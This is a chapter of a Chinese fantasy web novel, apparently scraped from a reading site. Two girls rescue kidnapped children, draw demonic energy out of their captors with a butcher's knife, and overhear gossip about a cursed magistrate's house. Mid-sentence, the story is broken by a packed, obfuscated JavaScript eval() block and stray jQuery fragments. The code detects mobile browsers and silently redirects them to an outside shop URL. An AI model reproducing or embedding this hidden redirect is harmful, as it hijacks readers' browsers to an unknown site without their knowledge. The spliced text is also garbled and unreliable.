整个事情朝着越来越诡异的方向发展了,绑架的人贩子在被绑人的心里是好人。
而且......陈既白想到这人身上的良善和罪恶交织,看来事情果然没有那么简单。
陈既白将小圆递给夏秋,从空间里拿出自己的衣服分别披在三个小家伙身上,“夏秋,你带着他们三,我带这两个,此地不可久留,我们先走。”
“小白白,你可以吗?”话还未说完,夏秋就看陈既白将地上的两壮汉一捆,轻轻松松的扛上肩。
她咽下心里的惊呼,闭上因惊讶而张大的嘴,十分乖巧的配合着点点头。
冬日的夜风带着肃杀,寒冷且凛冽。
陈既白和夏秋带着人极速朝镇子东市飞驰而去,担心小家伙的父母着急,两人只花了一刻钟就到了东市。
此时已是亥时。
“小静,该回家了,明天再出来玩。”一声温柔的呼喊从巷口传出。
“是娘亲。”小静笑容溢满脸部,听到娘亲的声音让她不再恐惧。
夏秋将她放下,从怀里拿出三颗糖果一样的东西递给他们,“吃完糖回家睡一觉,就不怕了啊。”
她摸了摸三个小家伙的头轻声安慰。
三个小家伙开心的接过糖吃下,“姐姐,我们,我们还能见面吗?”
三个小家伙一脸依依不舍的望着陈既白和夏秋。
在短暂的时间里,他们已经成功被这两个厉害的姐姐所俘获,此时分开,心里充满了不舍。
“肯定会的。”陈既白和夏秋同时回道,“好了,快回去吧,要不然你们爹爹娘亲要担心了。”陈既白温声道。
两个人轻轻摸了摸三人的头。
“娘亲,我回来了”
“今天和小帆哥哥他们玩什么了啊,这么晚才回来?”
“嗯,好像是玩了捉迷藏。”奇怪,似乎忘记了什么事,但不重要了,今天她玩的很开心呢。
“你给他们吃的是忘忧丹吧。”陈既白肯定道,这个娘亲和她说过,是一种受惊后让人遗忘恐怖的丹药。
“是的,小白白,你又说对了!”夏秋一副赞叹,小白白懂的东西真的好多。
“那这两个我们怎么办?”夏秋指着地上还晕着两人。
“带回去客栈,我要好好检查一下,究竟是怎么回事。”陈既白一脸认真道。
悦来客栈。
陈既白从空间袋里将两人放出来坐稳。
又拔出腰间的杀猪刀横放在膝上。刀身比从前寒气更甚,让人看了心一惊。
“夏秋,守好房门,待会无论谁来,都不要开门,无论看到什么,也别出声。”陈既白出声嘱咐,一向冷着的脸满是严肃。
“我知道了,小白白,我会守好门和不出声的。”夏秋重重点头,拿着凳子走到门那里守着。
陈既白闭上眼,深吸一口气,凝神。
再睁开眼时,整个人都沉静下来,仿佛不是一个十二岁的孩子。
深邃的目光在梁叔身上扫视,此时的梁叔,在她眼中已不是平日的模样。
数道明黄的命纹交织在他身上,这证明他的确是一个良善之人。
但是此刻这颜色却格外的暗淡,表示他正处于时运不济期,一旦任由这样发展下去,过不了多久便会死去。
顺着这些命纹往下看,找着了,原来是此物作祟。
在靠近心口的位置,一团粘稠的、墨黑的魔气正牢牢扒紧命纹深处,几乎和梁叔的生气纠缠在一起。
不能强行剥离,万一直接撕裂了梁叔的命纹,轻则一辈子疾病缠身,重则当场殒命!
陈既白小心翼翼的观测,希望在这杂乱无章的命纹里寻找契机。
每一道命纹都有自身流通的路径,她顺着魔气四周查看,最后在最边缘找到一处还未被魔气侵染的、微微闪烁的”善纹”。
这应该是梁叔心中最纯粹的存在,是他善意的流动,即使被魔气压住,却仍然在闪烁。
额角满是细汗,她目前只达到“观纹镜”,想要取出魔气,还得和她的小伙伴一起协作。
爹爹说过,杀猪匠的刀,常年触血,自带一股破煞的锐气。不管是魔还是什么,都抵挡不住。
右手拿起杀猪刀,将刀刃对准梁叔的心口,以刀身为镜,灵力为引,连带着全身的精神力,一同注入刀尖。
嗡,似乎是碰到了喜爱的东西,杀猪刀发出一声微乎其微的颤鸣,刀身似乎更亮了。
梁叔心口那团魔气还来不及反应,就被杀猪刀抓紧,直接拽出。
陈既白还来不及观看,杀猪刀就直接吸收了这团魔气,一刹那,杀猪刀好像更凌厉些许。
嗯,陈既白有点茫然失措。这还是她第一次这样做,原本还担心整个过程出差错,没想到竟如此简单???
她望了望自己的宝贝杀猪刀,又和目瞪口呆的夏秋对视了一眼。
既然如此简单,那就把另一位大汉的魔气也除了,她还以为今晚要花些时间,万万没想到整个过程如此顺畅。
根据前面三个小家伙提供的位置,悄悄将梁叔和那位大汉一起抗回梁叔家后,陈既白拍了拍手,今晚就先这样吧。
身后一直跟着的夏秋似乎一直还未缓过神来,天啦噜,小白白这是深藏不露啊!力气这么大就算了,本事也这么厉害!
默默摸摸自己身上的二胡,夏秋心里暗自发誓,不能拖小白白的后腿,自己也要更加努力了!
天刚刚亮,柳溪镇就已经开始有生气了,来来往往的人们在忙碌着。
吆喝声、叫卖声、邻里打招呼声一起涌进大家的耳朵,顺着青石路越飘越远。
陈既白和夏秋已在客栈后面的空阔地带完成了今日的早晨练习,两人收起势,便朝着镇上人气最旺的早点铺子走去。
点了两大碗云吞面和两个芝麻烧饼,两人便找了个不引人注目的角落坐下。
旁边坐着的几个人一直在闲聊,其中一个人四处望了望,压低声音道,“昨儿晚上,听到声音没有?县衙后面那宅子,”那人一边说一边往县衙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055038|194858||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那边努了努嘴,“动静可真不小。”
“咋没听见!”另一人接过话,“我家就在那对面,一晚上摔东西的声音噼里啪啦的,还时不时传来县太爷的咆哮声,怪渗人的。”
“对啊,也不知道这半年来,县太爷的家里究竟怎么了?先是县长夫人孩子走了,然后县长夫人也疯了。”
男人叹了口气,“而且镇里也越发的古怪,总有一股不详的气息,这半年来丢了七八个小孩,也草草了事,只是可怜那些丢孩子的父母。”说到丢孩子,声音轻的跟没说过一样。
“谁说不是呢。还有前两天王记粮铺就无缘无故被县太爷下令砸了整个铺子,王记粮铺当家的至今还被气的一病不起。说起来,以前县太爷和王记粮铺当家的交情多好,还纳了他的妹妹做妾呢。”
“你们说......”男人停了一会,声音压的更低,“县太爷家是不是遇着什么脏东西了?一而再再而三的出事,我总觉得......县太爷家肯定遇着什么了,所有人都不对劲。”
“我也觉着像。只是苦了县长夫人,刚失去女儿不久,自己也变成这样。你说会不会真是王姨娘害了夫人的孩子?”
“应该不是吧,听说县长查出来,那孩子是自己贪玩不小心跌进池塘的,县长不至于包庇害了自己孩子的人吧!”
“那可说不准,人心隔肚皮,谁知道真相是什么样的。”
陈既白拿勺子搅着碗里的豆浆,看似漫不经心,耳边却将旁边的议论一字不落的记在心里。
夏秋吃着面,一双灵动的眼睛骨碌碌转,她凑到陈既白耳边轻声道:“小白白,他们说的是不是和梁叔一种情况。”
“还不确定,回去再说。”陈既白低声回了两句,没多说。
县长家接二连三出事,镇里也不断丢孩子......这些碎片和种种异样以及梁叔身上出现的魔气,渐渐拼凑出一个越发清晰的轮廓。
两人匆匆吃完早饭,也没了心情在闲逛,径直回了客栈。
关上房门,夏秋就迫不及待的问:“小白白,县长他们家是不是也被魔附体了?”
“应该是的,”陈既白蹙了蹙眉,“但我总觉得哪里不太对劲。”
那种怪异感萦绕不去,可细想之下,好像整个逻辑又说得通。
她摇了摇头,暂时压下心中的疑虑,“晚上去一探便知,现在我们得兵分两路。你去调查丢了孩子的人家,看看有没有什么线索。我去王记粮铺看看。”
夏秋虽看上去大大咧咧,但其实心很细,让她去查这件事最是合适。
夏秋也不多问,脆生生应道,“好。”
陈既白从空间袋掏了掏,拿出昨晚现做的符弩和爆裂符递给夏秋,“自己注意安全,申时我们在客栈碰头。”
夏秋心里很是感动,她就说昨天晚上都那么晚了,小白白为什么还不睡,原来是这样。
她也不推脱,爽快的伸手接过,“好,谢谢小白白,我会注意安全的。你也要注意安全,到时候咱们申时不见不散。”